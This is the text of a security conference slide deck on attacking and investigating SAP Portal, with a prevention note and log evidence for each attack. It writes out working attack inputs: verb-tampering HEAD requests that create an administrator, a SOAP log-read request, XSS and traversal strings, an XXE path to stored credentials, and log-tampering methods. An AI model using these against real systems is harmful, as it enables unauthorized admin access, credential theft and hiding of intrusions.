SAP Portal: Hacking and forensics

Invest in security to secure investments SAP Portal: Hacking and forensics Dmitry Chastukhin – Director of SAP pentest/research team Evgeny Neyolov – Security analyst, (an@)forensics research About ERPScan •  The only 360-­‐degree SAP Security solu=on -­‐ ERPScan Security Monitoring Suite for SAP •  Leader by the number of acknowledgements from SAP ( 150+ ) •  60+ presenta@ons key security conferences worldwide •  25 Awards and nomina@ons •  Research team -­‐ 20 experts with experience in different areas of security •  Headquarters in Palo Alto (US) and Amsterdam (EU) 2 Agenda •  SAP security •  SAP forensics WTF?! •  Say hello to SAP Portal •  Breaking SAP Portal •  Catch me if you can •  Conclusion 3 SAP • 
• 
• 
• 
The most popular business applica=on More than 180000 customers worldwide More than 70% of Forbes 500 run SAP More than 40% of ERP market in Poland 4 SAP security Espionage •  Stealing financial informa=on •  Stealing corporate secrets •  Stealing supplier and customer lists •  Stealing HR data Fraud •  False transac=ons •  Modifica=on of master data Sabotage •  Denial of service •  Modifica=on of financial reports •  Access to technology network (SCADA) by trust rela=ons 5 SAP security 35 • 
• 
• 
• 
• 
• 
• 
• 
• 
30 25 20 15 10 BlackHat Defcon HITB RSA CONFidence DeepSec Hack=vity Troopers Source 5 0 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 Source: SAP Security in Figures 2013 LINK 6 Is it remotely exploitable? sapscan.com 5000+ non-­‐web SAP services exposed in the world including Dispatcher, Message server, SapHostControl, etc. 7 SAP Security notes 900 800 700 600 500 400 By 2014 -­‐ 2800 SAP Security notes 300 200 100 0 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 8 What about other services? 9
World
8
7
6
5
4
3
2
1
0
SAP Dispatcher
SAP MMC
SAP Message Server
SAP HostControl
SAP ITS Agate
SAP Message Server
httpd
9 What about unpublished threats? •  Companies are not interested in publishing informa=on about their breaches •  There are a lot of internal breaches thanks to unnecessarily given authoriza=ons (An employee by mistake buys hundreds of excavators instead of ten) •  There are known stories about backdoors leb by developers in custom ABAP code •  How can you be sure that, if a breach occurs, you can find evidence? 10 SAP Forensics If there are no acacks, it doesn’t mean anything •  Companies don’t like to share it •  Companies don’t use security audit ~10% •  Even if used, nobody manages it ~5% •  Even if managed, no correla=on ~1% 11 Typical SAP audit op@ons • 
• 
• 
• 
• 
ICM log icm/HTTP/logging_0
Security audit log in ABAP
Table access logging rec/client
Message Server log ms/audit
SAP Gateway access log 70% 10% 4% 2% 2% * The percentage of companies is based on our security assessments and product implementa7ons. 12 What do we see? • 
• 
• 
• 
A lot of research Real acacks Lack of logging prac=ce Many vulnerabili=es are hard to close → We need to monitor them, at least 13 What do we need to monitor? External a_acks on SAP * Ideally, we should control everything, but this talk has limits, so let’s focus on the most cri7cal areas. Acack users •  Awareness and SAP GUI SAProuter •  Secure configuration and patch
management Exposed SAP •  Disable them services SAP Portal and WEB • Too much issues and custom configura=on • Can be 0-­‐days • Need to concentrate on this area 14 Say hello to Portal •  Point of web access to SAP systems •  Point of web access to other corporate systems •  Way for acackers to get access to SAP from the Internet 15 EP architecture 16 Okay, okay. SAP Portal is important, and it has many links to other modules. So what? 17 SAP Logging “If you are running an ABAP + Java installa7on of Web AS with SAP Web Dispatcher as a load balancing solu7on, you can safely disable logging of HTTP requests and responses on J2EE Engine, and use the corresponding CLF logs of SAP Web Dispatcher. This also improves the HTTP communica7on performance. The only drawback of using the Web Dispatcher’s CLF logs is that no informa4on is available about the user execu4ng the request (since the user is not authen7cated on the Web Dispatcher, but on the J2EE Engine instead).“ SOURCE: SAP HELP *Not the only…. There are many complex aTacks with POST requests. 18 SAP J2EE Logging •  Categories of system events recording: –  System – all system related security and administra=ve logs –  Applica=ons – all system events related to business logic –  Performance – reserved for single ac=vity tracing •  Default loca=on of these files in your file system: \usr\sap
\<sid>\<id>\j2ee\cluster\<node>\log\
19 SAP J2EE Logging •  The developer trace files of the Java instance <SID>\<instance name>\work
•  The developer trace files of the central services <SID>\<instance name>\work
<SID>\<instance name>\log
•  Java server logs <SID>\<instance name>\j2ee\cluster\server<n>\log
20 Full logging is not always the best op@on • 
21 SAP Management Console 22 SAP Management Console • 
• 
• 
• 
• 
SAP MMC: centralized system management SAP MMC has remote commands Commands are simple SOAP requests Allowing to see the trace and log messages It’s not bad if you only use it some=mes and delete logs aber use, but… 23 SAP Management Console What can we find in logs? Right! The file userinterface.log contains calculated JSESIONID But… The acacker must have creden=als to read the log file WRONG! 24 SAP Management Console <?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/
envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header>
<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/
features/session/">
<enableSession>true</enableSession>
</sapsess:Session>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:ReadLogFile xmlns:ns1="urn:SAPControl">
<filename>j2ee/cluster/server0/log/system/userinterface.log</
filename>
<filter/>
<language/>
<maxentries>%COUNT%</maxentries>
<statecookie>EOF</statecookie>
</ns1:ReadLogFile>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
25 Preven@on •  Don’t use TRACE_LEVEL = 3 •  Delete traces when work is finished •  Limit access to dangerous methods •  Install notes 927637 and 1439348 •  Mask security-­‐sensi@ve data in HTTP access log LINK to SAP HELP 26 Preven@on •  The HTTP Provider service can mask security-­‐
sensi=ve URL parameters, cookies, or headers •  By default, only for the headers listed below –  Path Parameter: jsessionid –  Request Parameters: j_password, j_username, j_sap_password, j_sap_again, oldPassword, confirmNewPassword,=cket –  HTTP Headers: Authoriza=on, Cookie (JSESSIONID, MYSAPSSO2) LINK to SAP HELP 27 SAP NetWeaver J2EE 28 Access Control Programma@c Declara@ve By UME By WEB.XML •  Web Dynpro
•  Portal iViews
•  J2EE Web apps
-­‐ programma=c -­‐ programma=c -­‐ declara=ve 29 Access Control •  The central en=ty in the J2EE authoriza=on model is the security role •  Programmers define the applica=on-­‐specific roles in the J2EE deployment descriptor web.xml web-­‐j2ee-­‐engine.xml 30 web.xml <servlet>
<servlet-name>CriticalAction</servlet-name>
<servlet-class>com.sap.admin.Critical.Action</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>CriticalAction</</servlet-name>
<url-pattern>/admin/critical</url-pattern>
</servlet-mapping
<security-constraint>
<web-resource-collection>
<web-resource-name>Restrictedaccess</web-resource-name>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>administrator</role-name>
</auth-constraint>
</security-constraint>
Verb Tampering 31 Verb Tampering •  If we are trying to get access to an applica=on using GET – we need a login:pass and administrator role •  What if we try to get access to applica=on using HEAD instead GET? •  PROFIT! •  Did U know about ctc? 32 Verb Tampering Need Admin account in SAP Portal? Just send two HEAD requests •  Create new user CONF:idence HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;
CREATEUSER;USERNAME=CONF,PASSWORD=idence
•  Add the user CONF to the group Administrators HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;
ADD_USER_TO_GROUP;USERNAME=CONF,GROUPNAME=Administrators
* Works when UME uses JAVA database. 33 Preven@on •  Install SAP notes 1503579, 1616259, 1589525, 1624450 •  Install other SAP notes about Verb Tampering •  Scan applica=ons with ERPScan WEB.XML checker •  Disable the applica=ons that are not necessary 34 Inves@ga@on [Apr 3, 2013 1:23:59 AM
] - 192.168.192.14 : GET /
ctc/ConfigServlet HTTP/1.1 401 1790
[Apr 3, 2013 1:30:01 AM
] - 192.168.192.14 : HEAD /
ctc/ConfigServlet HTTP/1.1 200 0
[Apr 3, 2013 1:30:01 AM
] - 192.168.192.14 : HEAD /
ctc/ConfigServlet?
param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=
CONF,PASSWORD=idence HTTP/1.0 200 0
j2ee\cluster\<node>\log\system\httpaccess
\responses.trc
35 web.xml <servlet>
<servlet-name>CriticalAction</servlet-name>
<servlet-class>com.sap.admin.Critical.Action</servletclass>
GET /admin/cri=cal/Cri7calAc7on </servlet>
<servlet-mapping>
<servlet-name>CriticalAction</</servlet-name>
<url-pattern>/admin/critical</url-pattern>
</servlet-mapping
<security-constraint>
GET /servlet/com.sap.admin.Cri=cal.Ac=on <web-resource-collection>
<web-resource-name>Restrictedaccess</web-resource-name>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
<http-method>HEAD</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>administrator</role-name>
</auth-constraint>
Invoker servlet </security-constraint>
36 Invoker Servlet •  Want to execute an OS command on J2EE server remotely? •  Maybe upload a backdoor in a Java class? •  Or sniff all traffic? S=ll remember ctc? 37 Invoker Servlet 38 Preven@on •  Update to the latest patch 1467771, 1445998 •  “EnableInvokerServletGlobally” must be “false” •  Check all WEB.XML files with ERPScan WEBXML checker 39 Inves@ga@on #1.5#000C29C2603300790000003A000008700004D974E7CCC6D8#13649960352
03#/System/Security/Audit#sap.com/
tc~lm~ctc~util~basic_ear#com.sap.security.core.util.SecurityAudit
#Guest#0#SAP J2EE Engine JTA Transaction : [024423a006e18]#n/
a##217c5d309c6311e29bca000c29c26033#SAPEngine_Application_Thread[
impl:
3]_22##0#0#Info#1#com.sap.security.core.util.SecurityAudit#Plain#
##Guest | USER.CREATE | USER.PRIVATE_DATASOURCE.un:CONF
|
| SET_ATTRIBUTE: uniquename=[CONF]#
#1.5#000C29C2603300680002C97A000008700004D974E8354D1D#13649960420
62#/System/Security/Audit/J2EE#sap.com/
irj#com.sap.engine.services.security.roles.audit#Guest#182818##n/
a##0c5bfef08bc511e287e6000c29c26033#Thread[Thread-50,5,SAPEngine_
Application_Thread[impl:
3]_Group]##0#0#Info#1#com.sap.engine.services.security.roles.audi
t#Java###{0}: Authorization check for caller assignment to J2EE
security role [{1} : {2}].#3#ACCESS.OK#SAP-J2EE-Engine#guests#
40 Inves@ga@on 41 XSS •  Many XSSs in Portal •  But some=mes HcpOnly •  But when we exploit XSS, we can use the features of SAP Portal EPCF 42 EPCF •  EPCF provides a JavaScript API designed for the client-­‐side communica=on between portal components and the portal core framework •  Enterprise Portal Client Manager (EPCM) •  iViews can access the EPCM object from every portal page or IFrame •  Every iView contains the EPCM object <SCRIPT>
alert(EPCM.loadClientData("urn:com.sap.myObjects", "person");
</SCRIPT>
For example, EPCF used for transient user data buffer for iViews 43 Preven@on •  Install SAP note 1656549 44 Inves@ga@on #Plain###192.168.192.26 : GET /irj/servlet/
prt/portal/prtroot/
com.sap.portal.usermanagement.admin.UserMappi
ng?systemid=MS_EXCHANGEaaaa%3C/script%3E
%3Cscript%3Ealert(%27xSS%27)%3C/script%3E
HTTP/1.1 200 3968#
j2ee\cluster\<node>\log\system\httpaccess
\responses.trc
45 Web Dynpro JAVA •  Web Dynpro unauthorized modifica=ons •  For example: –  somebody steals an account using XSS/CSRF/Sniffing –  then tries to modify the severity level of logs 46 Web Dynpro JAVA LINK to SAP HELP 47 Inves@ga@on •  No traces of change in default log files \cluster\server0\log\system\httpaccess\responses.log
•  Web Dynpro sends all data by POST, and we only see GET URLs in responses.log •  But some=mes we can find informa=on by indirect signs [Mar 20, 2013 9:35:49 AM ] - 172.16.0.63 : GET /
webdynpro/resources/sap.com/
tc~lm~webadmin~log_config~wd/Components/
com.sap.tc.log_configurator.LogConfigurator/
warning.gif HTTP/1.1 200 110
•  The client loaded images from the server during some changes 48 Inves@ga@on Most ac=ons have icons They have to be loaded from the server Usually, legi=mate users have them all in cache Acackers usually don’t have them, so they make requests to the server •  That’s how we can iden=fy poten=ally malicious ac=ons •  But there should be correla=on with a real user’s ac=vity •  False posi=ves are possible: • 
• 
• 
• 
–  New legi=mate user –  Old user clears cache –  Other 49 Directory traversal FIX 50 Directory traversal fix bypass 51 Preven@on •  Install SAP note 1630293 52 Inves@ga@on /../
!252f..!252f
53 Breaking SAP Portal •  Found a file in the OS of SAP Portal with the encrypted passwords for administra=on and DB •  Found a file in the OS of SAP Portal with keys to decrypt passwords •  Found a vulnerability (another one ;)) which allows reading the files with passwords and keys •  Decrypt passwords and log into Portal •  PROFIT! 54 Read the file How can we read the file? •  Directory Traversal •  OS Command execu=on •  XML External En=ty (XXE) 55 XXE in Portal: Details • 
• 
• 
• 
• 
Injec=on of malicious requests into XML packets Can lead to unauthorized file read, DoS, SSRF There is an XXE vulnerability in SAP Portal Can be exploited by modifica=on of POST request It is possible to read any file from OS and much more 56 XXE in Portal 57 XXE in Portal 58 XXE Error based XXE 59 XXE in Portal: Result •  We can read any file •  Including config with passwords •  The SAP J2EE Engine stores the database user SAP<SID>DB; its password is here: \usr\sap\<SID>\SYS\global\security\data\SecStore.properties
60 Where are the passwords? (config.proper4es) rdbms.maximum_connections=5
system.name=TTT
secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.key
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.properties
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib
rdbms.driverLocation=/oracle/client/10x_64/
instantclient/ojdbc14.jar
rdbms.connection=jdbc/pool/TTT
rdbms.initial_connections=1
61 Where are the passwords? (config.proper4es) rdbms.maximum_connections=5
system.name=TTT
secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.key
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.properties
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib
rdbms.driverLocation=/oracle/client/10x_64/
instantclient/ojdbc14.jar
rdbms.connection=jdbc/pool/TTT
rdbms.initial_connections=1
62 SecStore.proper@es $internal/version=Ni4zFF4wMSeaseforCCMxegAfx
admin/host/TTT=7KJuOPPs/+u
+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS
admin/password/TTT=7KJuOPPs/+uv
+14j56vDc7M7v7dytbGbkgqDp+QD04b0Fh
jdbc/pool/TTT=7KJuOPPs/
+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH
admin/port/TTT=7KJuOPPs/+u
+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ
$internal/check=BJRrzfjeUA+bw4XCzdz16zX78ufbt
$internal/mode=encrypted
admin/user/TTT=7KJuOPPs/+u
+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E
But where is the key? 63 config.proper@es rdbms.maximum_connections=5
system.name=TTT
secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.key
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.properties
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib
rdbms.driverLocation=/oracle/client/10x_64/
instantclient/ojdbc14.jar
rdbms.connection=jdbc/pool/TTT
rdbms.initial_connections=1
64 Get the password •  We have an encrypted password •  We have a key to decrypt it We got the J2EE admin and JDBC login:password! 65 Preven@on •  Install SAP note 1619539 •  Restrict read access to files SecStore.proper7es and SecStore.key 66 Inves@ga@on POST /irj/servlet/prt/portal/prteventname/
HtmlbEvent/prtroot/pcd!3aportal_content!
2fadministrator!2fsuper_admin!
2fsuper_admin_role!
2fcom.sap.portal.content_administration!
2fcom.sap.portal.content_admin_ws!
2fcom.sap.km.AdminContent!
2fcom.sap.km.AdminContentExplorer!
2fcom.sap.km.AdminExplorer/ HTTP/1.1
67 Inves@ga@on •  The only one way to get HTTP POST request values is to enable HTTP Trace •  Visual Administrator → Dispatcher → HTTP Provider → Proper=es: HcpTrace = enable •  For 6.4 and 7.0 SP12 and lower: –  On Dispatcher: /j2ee/cluster/dispatcher/log/defaultTrace.trc
–  On Server \j2ee\cluster\server0\log\system\httpaccess\responses.0.trc
•  For 7.0 SP13 and higher: /j2ee/cluster/dispatcher/log/services/http/req_resp.trc
•  Manually analyze all requests for XXE acacks 68 Malicious file upload: A_ack •  Knowledge management allows uploading to the server different types of files that can store malicious content •  Some=mes, if guest access is allowed, it is possible to upload any file without being an authen=cated user •  For example, it can be an HTML file with JavaScript that steals cookies 69 Malicious file upload: A_ack 70 Malicious file upload: A_ack 71 Malicious file upload: Forensics [Apr 10, 2013 2:26:13 AM ] - 192.168.192.22 : POST /
irj/servlet/prt/portal/prteventname/HtmlbEvent/
prtroot/pcd!3aportal_content!2fspecialist!
2fcontentmanager!2fContentManager!
2fcom.sap.km.ContentManager!
2fcom.sap.km.ContentExplorer!
2fcom.sap.km.ContentDocExplorer!
2fcom.sap.km.DocsExplorer/documents HTTP/1.1 200
13968
[Apr 10, 2013 2:26:14 AM ] - 192.168.192.22 : GET /
irj/go/km/docs/etc/public/mimes/images/html.gif
HTTP/1.1 200 165
*Again, images can help us. 72 Malicious file upload: Preven@on Enable File Extension and Size Filter: •  System Administra7on → System Configura7on → Content Management → Repository → Filters → Show Advanced Op7ons → File Extension and Size Filter •  Select either the All repositories parameter or at least one repository from the repository list in the Repositories parameter 73 Malicious file upload: Preven@on Enable Malicious Script Filter: •  System Administra7on → System Configura7on → Content Management → Repository → Filters → Show Advanced Op7ons → Malicious Script Filter •  The filter also detects executable scripts in files that are being modified and encodes them when they are saved –  enable Forbidden Scripts. Comma-­‐separated list of banned script tags that will be encoded when the filter is applied –  enable the Send E-­‐Mail to Administrator op@on 74 Portal post-­‐exploita@on •  Lot of links to other systems in corporate LAN •  Using SSRF, acackers can get access to these systems What is SSRF? 75 SSRF History: Basics • 
• 
• 
• 
• 
We send Packet A to Service A Service A ini=ates Packet B to service B Services can be on the same or different hosts We can manipulate some fields of packet B within packet A Various SSRF acacks depend on how many fields we can control on packet B Packet A Packet B 76 Par@al Remote SSRF: HTTP a_acks on other services HTTP Server Corporate network Direct acack GET /vuln.jsp SSRF Acack Get /vuln.jst SSRF Acack A B 77 Gopher uri scheme •  Using gopher:// uri scheme, it is possible to send TCP packets – 
– 
– 
– 
Exploit OS vulnerabili=es Exploit old SAP applica@on vulnerabili@es Bypass SAP security restric=ons Exploit vulnerabili=es in local services More info in our BH2012 presenta=on: SSRF vs. Business Cri7cal Applica7ons LINK 78 Portal post-­‐exploita@on 79 An@-­‐forensics 80 An@-­‐forensics •  Flooding •  Dele=ng •  Changing 81 An@-­‐forensics Log flooding •  5 ac=ve logs •  Maximum log file size is 10 Mb •  Archiving when all logs reach the maximum size •  If file.0.log -­‐> max size then open file.1.log •  If file.4.log -­‐> max size then zip all and backup •  Rewri=ng the same files aber archiving 82 An@-­‐forensics Log dele@ng •  SAP locks write access to the only one ac=ve log •  SAP allows reading/wri=ng logs, so it is possible to delete them •  It could compromise the acacker’s presence Log changing •  SAP locks write access only to the one ac=ve log •  It is possible to write into any other log file 83 Securing SAP Portal • 
• 
• 
• 
• 
• 
• 
Patching Secure configura=on Enabling HTTP Trace with masking Malicious script filter Log archiving Addi=onal place for log storage Monitoring of security events –  Own scripts, parse common pacerns –  ERPScan has all exis=ng web vulns/0-­‐day pacerns 84 Conclusion It is possible to protect yourself from these kinds of issues, and we are working close with SAP to keep customers secure SAP guides Regular security assessments Monitoring technical security ABAP code review Segrega@on of du@es It’s all in your hands 85 Future work I'd like to thank SAP's Product Security Response Team for the great coopera7on to make SAP systems more secure. Research is always ongoing, and we can't share all of it today. If you want to be the first to see new aTacks and demos, follow us at @erpscan and aTend future presenta7ons: July 31 – BlackHat (Las Vegas, USA) 86 Web: www.erpscan.com e-­‐mail: [email protected] Twicer: @erpscan @_chipik @neyolov 87